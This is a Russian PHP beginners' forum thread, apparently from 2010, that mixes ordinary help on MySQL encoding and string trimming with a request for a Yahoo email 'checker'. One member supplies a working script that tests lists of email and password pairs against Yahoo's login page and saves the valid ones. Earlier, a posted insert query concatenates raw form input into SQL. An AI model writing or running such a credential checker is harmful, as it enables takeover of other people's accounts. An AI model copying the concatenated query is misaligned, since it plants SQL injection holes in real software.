[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Radical Edward

    Radical Edward New Member

    Joined:
    24 Jan 2010
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Ваш пример работает. Вроде. Но на моем примере чего - то не получается. Скажите, что я сделал не так

    Code:
    CREATE TABLE `Nokia` (
      `ID` int(16) NOT NULL auto_increment,
      `Mark` varchar(16) default NULL,
      `Description` varchar(512) default NULL,
      `Photo` blob,
      `Price` double NOT NULL,
      `Incoming` date default NULL,
      `IsEnabled` smallint(1) NOT NULL,
      PRIMARY KEY  (`ID`),
      KEY `ID` (`ID`)
    ) ENGINE=MyISAM AUTO_INCREMENT=215 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=215 ;
    Кста, почему автоинкремент дважды повторяется?

    PHP:
    .
    .
    .
    header("Content-Type: text/html; charset=cp1251");
    .
    .
    .
    mysql_query("SET NAMES cp1251");
    .
    .
    $Description htmlentities($_POST['Description_Inp']);
    .
    .
    $QUERY "Insert into ".$TABLENAME." values
    (NULL"
    .",
    '"
    .$Mark."',
    '"
    .$Description."',
    '"
    .$Photo_Data."',    
    '"
    .$Price."',
    '"
    .$Incoming."',
    '"
    .$IsEnabled."'
    )"
    ;
    //echo $QUERY;

    $result mysql_query($QUERY$link);

    Как вы уже догадались, вся проблемма в поле Description
     
  2. $now

    $now Member

    Joined:
    27 Apr 2009
    Messages:
    75
    Likes Received:
    9
    Reputations:
    3
    Radical Edward
    Смотрели какой запрос уходит в базу?

    Кстати, description можно сделать TEXT

    PS Почему никто патологически не юзает PDO? Это же удобно и о фильтрации ввода позаботились до нас.
     
    #14922 $now, 24 Apr 2010
    Last edited: 24 Apr 2010
  3. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    бикоз оф писать надо
    Code:
    $Description = htmlentities($_POST['Description_Inp'], ENT_QUOTES, "cp1251" );
    $query у тебя какой то такой =\
    лучше явно указывай, что бы потом не было проблем
    Code:
    INSERT INTO `table`(`Mark`,`Description`,`Photo`,`Price`,`Incoming`,`IsEnabled`) VALUES(....);
    
    id писать не надо, на то и auto_increment
     
  4. Radical Edward

    Radical Edward New Member

    Joined:
    24 Jan 2010
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    $now
    Вот то , что идет в базу. То есть, не правильная сама кодировка на странице...

    Code:
    Insert into Nokia values (NULL, 'Ìàðêà', 'Îïèñàíè¸', '', '222.222', '2009-01-22', '1' )

    Failure
    Исправил, запрос изменился к "лучшему"

    PHP:
    Insert into Nokia values (NULL'надпись''ііі''''''''0' )
    &-#1053;о&-# &-#1091;р&-#1103;м&-#1089;

    (без минусов)
     
    #14924 Radical Edward, 24 Apr 2010
    Last edited: 24 Apr 2010
  5. $now

    $now Member

    Joined:
    27 Apr 2009
    Messages:
    75
    Likes Received:
    9
    Reputations:
    3
    У формы добавьте атрибут accept-charset="cp1251" может поможет
     
  6. Radical Edward

    Radical Edward New Member

    Joined:
    24 Jan 2010
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    НУ все. После высокого прыжка с бубном, нечто похожее получилось. Скрипт вывода нормально выводит данные после скрипта ввода, однако теперь сам АДМИН не хочет интерпретировать введенные мною символы.
    Есть идеи?

    Спасибо за предоставленную помощь
     
    #14926 Radical Edward, 24 Apr 2010
    Last edited: 24 Apr 2010
  7. $now

    $now Member

    Joined:
    27 Apr 2009
    Messages:
    75
    Likes Received:
    9
    Reputations:
    3
    Ну так у вас в админе поди utf-8 стоит. А данные то вы вставляете в 1251
     
  8. Gin

    Gin Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    133
    Likes Received:
    7
    Reputations:
    4
    апаю пост т.к. ответа не получил, готов даже вознаградить материально того кто поможет

    Тема такая нужно написать чекер емалов для yahoo собстно написал, код но проблема в том что пост запрос не отправляеться. Я не давно только начал работать с курл. Есть две функции как видно из листинга первая получает значения вторая отправляет, но вот если первая работает нормально, то вторая отказываеться вообще. Да и в куки помоему вообще ничего не попадает. Вторая функция не отправляет POST запрос вообще.
    Собственно код не пинайте сильно
    Code:
    <?php
    $cookiefile = tempnam("/tmp", "cookies");
    $refer="https://login.yahoo.com/config/login_verify2?&.src=ym";
    $username="login";
    $password="pass;
    $url="https://login.yahoo.com/config/login?";
    $agent="Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    
    function GetData($url){
    global $cookiefile,$refer,$url,$agent;
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL,$url); 
    curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_REFERER, $refer);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec ($ch);
    $answer=preg_match("#hash2(.*?)\<table#is",$result,$match);
    preg_match_all('#name="(.*?)"#is',$match[0],$key_match);
    preg_match_all("#value=\"(.*?)\"#is",$match[0],$value_match);
    foreach($key_match[1] as $key)
    foreach($value_match[1] as $value)
    $post_array[$key]=$value;
    $post_array['login']=$username;
    $post_array['passwd']=$password;
    $post_array['.Save']="Sign+In";
    $post=http_build_query($post_array);
    curl_close ($ch); 
    return $post;	
    }
    function SendData($url,$post,$refer){
    global $cookiefile,$refer,$url,$agent,$username,$password;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS,$post); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_REFERER, $refer);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec ($ch);
    curl_close ($ch); 
    
    return $result;
    }
    $post=GetData(url);
    $data=SendData($refer,$post,$refer);
    echo $data;
    ?>
    
     
  9. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    Gin, этот код нужно переписывать с нуля.
    алгоритм такой (без всяких ф-й):
    1)отправляем пост запрос с логином и паролем
    2)ищем в ответе фразу о неправильном пароле, если ее нет, то все ок
    никаких кукисов и юзерагентов там не нужно.

    мб. я ошибаюсь, но скорей всего все делается одним запросом.
     
  10. Gin

    Gin Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    133
    Likes Received:
    7
    Reputations:
    4
    2phpdreamer 2All
    Да так и есть, можно и одним пост запросом, но данные которые грабяться тоже важны. Дело уже даже не в том чтобы написать чекер,а втом чтобы разобраться почему не работает. Если поможешь, то в долгу не останусь, просто я уже много способов перебпробовал.
     
  11. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    не работает потому что https://
     
  12. restart_05

    restart_05 Member

    Joined:
    5 May 2009
    Messages:
    164
    Likes Received:
    6
    Reputations:
    0
    Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
     
  13. Gin

    Gin Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    133
    Likes Received:
    7
    Reputations:
    4
    2phpdreamer
    ну так я ставлю эти опции

    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
     
  14. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    restart_05,
    PHP:
    <?php
    $word
    ='v267g92hg276ghg_engine';
    preg_match('/^(\S+)_engine$/',$word,$m);
    print 
    $m[1];
    ?>
     
  15. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    PHP:
    $string "v267g92hg276ghg_engine";
    $string preg_replace"#(.+)_engine#""\\1"$string );
    Или регуляркой:
    PHP:
    $string "v267g92hg276ghg_engine";
    preg_match"#(.+)_engine#"$string$array );
          echo 
    "Result: ".$array[1];
    Или:
    PHP:

    echo $string str_replace'_engine''''v267g92hg276ghg_engine' );

     
    #14935 Deathdreams, 25 Apr 2010
    Last edited: 25 Apr 2010
  16. Gin

    Gin Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    133
    Likes Received:
    7
    Reputations:
    4
    2restart_05

    $string="v267g92hg276ghg_engine";
    $result=str_replace("_engine","",$string);
     
  17. restart_05

    restart_05 Member

    Joined:
    5 May 2009
    Messages:
    164
    Likes Received:
    6
    Reputations:
    0
  18. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    Gin, вот :
    PHP:
    <?php
    //*простой чекер мыл yahoo.com от phpdreamer (25.04.2010)

    $mails file('file.txt'); //файл с мылами yahoo.com для проверки на валидность ( формат "id;password")
    foreach($mails as $str)
    {
        
    $mas explode(';'trim($str));
        
    $email $mas['0'];
        
    $passw $mas['1'];
        
    $ch curl_init('https://login.yahoo.com/config/login?');
        
    curl_setopt($chCURLOPT_POST,1);
        
    curl_setopt($chCURLOPT_POSTFIELDS '.tries=1&.src=my&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=fuc8gnp5t886p&.v=0&.challenge=PoeEPS58vFdvVdlcxeu6DrGU4XZe&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmy.yahoo.com&.pd=my_ver%3D0%26c%3DaMtFxUmp2e6zaBL942f2v6LoDw--%26ivt%3D%26sg%3D&login='.$email.'&passwd='.$passw.'&.persistent=y&.save=Sign+In');
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION  ,1);
        
    curl_setopt($chCURLOPT_HEADER ,0);  
        
    curl_setopt($chCURLOPT_RETURNTRANSFER  ,1);  
        
    curl_setopt ($chCURLOPT_COOKIEFILE"cookie.txt");
        
    curl_setopt ($chCURLOPT_COOKIEJAR"cookie.txt");
        
    curl_setopt($chCURLOPT_SSL_VERIFYHOST,0);
        
    curl_setopt($chCURLOPT_SSL_VERIFYPEER,false);
        
    $RecData curl_exec($ch);
        
    curl_close($ch); 

        if(
    strpos($RecData'window.location.replace("http://my.yahoo.com");'))
        {
            
    $valid $email .';' $passw;
            
    $h fopen('good.txt''a+');
            
    fwrite($h$valid "\n");
            
    fclose($h);
        }
    }
     
  19. general.fox

    general.fox Member

    Joined:
    9 Nov 2009
    Messages:
    83
    Likes Received:
    8
    Reputations:
    -1
    Может кто нибудь написать пример отправки и получения POST-запроса через сокет?
     
  20. roxblnfk

    roxblnfk Elder - Старейшина

    Joined:
    6 Feb 2010
    Messages:
    189
    Likes Received:
    42
    Reputations:
    19
Thread Status:
Not open for further replies.